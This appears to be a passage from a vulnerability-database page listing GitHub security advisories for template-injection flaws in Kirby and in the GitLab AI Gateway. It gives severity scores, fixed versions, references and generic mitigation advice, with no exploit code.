"id": "GHSA-jcjw-58rv-c452",
"modified": "2026-05-05T15:43:54Z",
"published": "2026-04-23T21:24:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-jcjw-58rv-c452"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34587"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkirby/kirby"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/4.9.0"
},
{
"type": "WEB",
"url": "https://github.com/getkirby/kirby/releases/tag/5.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kirby has Server-Side Template Injection (SSTI) via double template resolution in option rendering"
}
GHSA-JFR3-CR47-9VQQ
Vulnerability from github – Published: 2026-02-09 09:30 – Updated: 2026-02-09 09:30GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.
{
"affected": [],
"aliases": [
"CVE-2026-1868"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-09T07:16:18Z",
"severity": "CRITICAL"
},
"details": "GitLab has remediated a vulnerability in the Duo Workflow Service component of GitLab AI Gateway affecting all versions of the AI Gateway from 18.1.6, 18.2.6, 18.3.1 to 18.6.1, 18.7.0, and 18.8.0 in which AI Gateway was vulnerable to insecure template expansion of user supplied data via crafted Duo Agent Platform Flow definitions. This vulnerability could be used to cause Denial of Service or gain code execution on the Gateway. This has been fixed in versions 18.6.2, 18.7.1, and 18.8.1 of the GitLab AI Gateway.",
"id": "GHSA-jfr3-cr47-9vqq",
"modified": "2026-02-09T09:30:21Z",
"published": "2026-02-09T09:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1868"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/02/06/patch-release-gitlab-ai-gateway-18-8-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/work_items/1850"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.
Mitigation
Use the template engine's sandbox or restricted mode, if available.
No CAPEC attack patterns related to this CWE.